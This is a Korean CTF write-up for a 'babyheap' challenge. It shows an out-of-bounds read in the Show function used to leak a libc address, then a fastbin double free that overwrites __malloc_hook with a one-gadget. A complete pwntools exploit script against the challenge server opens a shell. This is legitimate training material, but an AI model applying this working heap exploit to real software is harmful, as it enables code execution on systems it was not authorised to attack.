double free 관련한 문제인 걸로 알고 문제를 고르고 풀기 시작함.
모르는 것들도 나오긴 했지만 생각보다 어려운 문제는 아닌 것 같음.
보호 기법
checksec을 통해서 해당 바이너리의 보호 기법을 확인 시
Full RELRO, Canary, NX bit가 걸려있는 것을 확인을 할 수가 있다.
Full RELRO가 걸려있어서 Got Overwrite가 안 되는 것을 인지한 채로 진행하겠다.
실행
실행 시 위와 같은 메뉴가 나오게 되며
1번 메뉴에서는 사용자가 원하는 크기와 내용을 받아 heap을 할당하는 것 같다.
2번 메뉴에서는 사용자가 할당한 heap 중 원하는 인덱스의 heap을 해제를 할 수가 있다.
3번 메뉴에서는 사용자가 할당한 heap 중 원하는 인덱스의 heap의 내용을 확인을 할 수가 있다.
코드 분석
main을 확인 시 실행한 것과 동일하게 처음에는 menu를 띄워주며,
원하는 메뉴를 선택을 해서 이동을 하게 되어있다.
딱히 별게 없다.
Malloc 함수 내부이다.
size를 사용자에게 입력받고, content를 입력을 받는다.
추가로 6개 이상 힙을 할당받을 경우 해당 프로그램은 해당 프로그램은 종료된다.
Free 함수 내부이다.
원하는 index의 heap을 해제시켜준다.
마지막으로 Show 함수 내부이다.
이 함수는 사용자에게 원하는 index를 받아 그 index의 content를 보여주는 함수이다.
이 함수에는 OOB가 존재한다.
puts의 입력에 대한 제한이 걸려있지가 않다.
그러므로 원하는 주소의 값을 leak 할 수가 있다.
*(rax*8+0x602060)의 값을 puts를 통해서 출력을 하고 있다.
이 rax값은 사용자가 입력을 하는 index 값이므로 조작이 가능하다.
이를 통해서 libc base 주소 확보가 가능하다.
ptr[rax*8+0x602060]이므로 GOT 값을 인자로 넘기면 실제 주소 값을 참조를 하게 될 것이다.
고로 ELF RELA Reloacation Table의 값을 입력을 해주면 GOT가 출력이 된다.
rax*8+0x602060 = 0x4005a8
->
rax = -262999으로 설정을 하면 puts의 got를 leak 가능하다.
이를 통해서 원하는 주소 값들은 알 수가 있게 되었다.
그리고 1번, 2번 메뉴를 통해서 double free 취약점을 이용을 할 수가 있다.
그런데 Full RELRO 때문에 got overwrite가 안된다.
그래서 malloc_hook 함수를 이용을 하기로 했다.
_malloc_hook
GNU C Library 내부에는 malloc,realloc,free와 같은 함수들을 제어하기 위한 변수로
__malloc_hook, __realloc_hook, __free_hook등의 후킹 변수들을 사용을 한다.
이런 후킹 변수에는 후킹 함수의 주소가 저장될 수가 있는데,
저장된 경우에는 malloc, realloc, free 함수가 호출될 때,
해당 함수가 아닌 후킹 함수가 호출이 된다.
추가적으로 후킹이란 개발자들을 위한 디버깅 함수라고 생각하면 된다.
이런 후킹 변수들은 라이브러리의 쓰기 가능한 영역에 존재하기 때문에 후킹 변수를 사용하는 함수가 있다면
이를 통해서 exploit이 가능하다.
double free를 통해서 malloc_hook을 덮기 위해서는
malloc_hook 인근에 fake chunk를 만들어서 malloc_hook 함수를 overwrite 하는 식으로 진행을 해야 한다.
(※malloc_hook은 one_shot 가젯으로 덮을 겁니다.)
0x7ffff7dcdc30의 주변을 확인을 해보면 적절한 fake chunk를 찾을 수가 있다.
double free를 통해서 malloc_hook-0x23의 주소를 할당을 해주면
크기가 0x7f인 청크로 할당이 된다.
추가로 0x7f는 헤더를 포함한 값이므로
같은 크기의 fastbin으로 들어가기 위해서는
0x59~0x68 사이의 값으로 요청을 해야지 fastbin dup가 가능하다.
추가로 덮고 난 이후에는 malloc을 실행을 시키면 쉘이 따지겠지만
초반에 언급했다시피 6번 이상 malloc을 호출 시 프로그램이 꺼진다.
그러므로 free함수를 통해 double free 버그를 나게 하면
내부 로직을 통해서 malloc이 한번 호출되기 때문에 malloc_hook 함수가 한번 실행이 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
#!/usr/bin/python
from pwn import *
#p = process('./babyheap')
p = remote("ctf.j0n9hyun.xyz",3030)
e = ELF("./babyheap")
l = ELF("./libc.so.6")
puts_offset = l.symbols['puts']
malloc_hook_offset = l.symbols['__malloc_hook']
one_shot_offset = 0xf02a4
def aloc(size,content):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline(str(size))
p.recvuntil("content: ")
p.sendline(content)
def free(idx):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(": ")
p.sendline(str(idx))
def show(idx):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil(": ")
p.sendline(str(idx))
show(-262999)
puts_addr = u64(p.recv(8).ljust(8,"\x00"))
libc_addr = puts_addr - puts_offset
malloc_hook_addr = libc_addr + malloc_hook_offset
one_shot_addr = libc_addr + one_shot_offset
print("============ADDR=Leak===============")
print("Puts_addr : "+hex(puts_addr))
print("Malloc_hook_addr:"+hex(malloc_hook_addr))
print("One_shot_addr :"+hex(one_shot_addr))
raw_input()
aloc(89,"fake")
aloc(89,"bbbb")
#### Make Double free
free(0)
free(1)
free(0)
aloc(89,p64(malloc_hook_addr-0x23))
aloc(89,"aaaa")
aloc(89,"BBBB")
aloc(89,"A"*0x13+p64(one_shot_addr))
free(1)
free(1)
p.interactive()
|
cs |
malloc_hook에 대해서는 잘 몰랐는데
이번에 알아가는 것 같다.
+
여담으로 내 가상 머신에서는 glibc 버전이 맞지 않아서
double free가 탐지가 됨.
그래서 glibc 3 버전부터 사용 가능한 exploit을 하려고 했지만
malloc이 6번 이상되면 프로그램이 꺼져서 원격으로 풀었다. 광광ㅜㅜ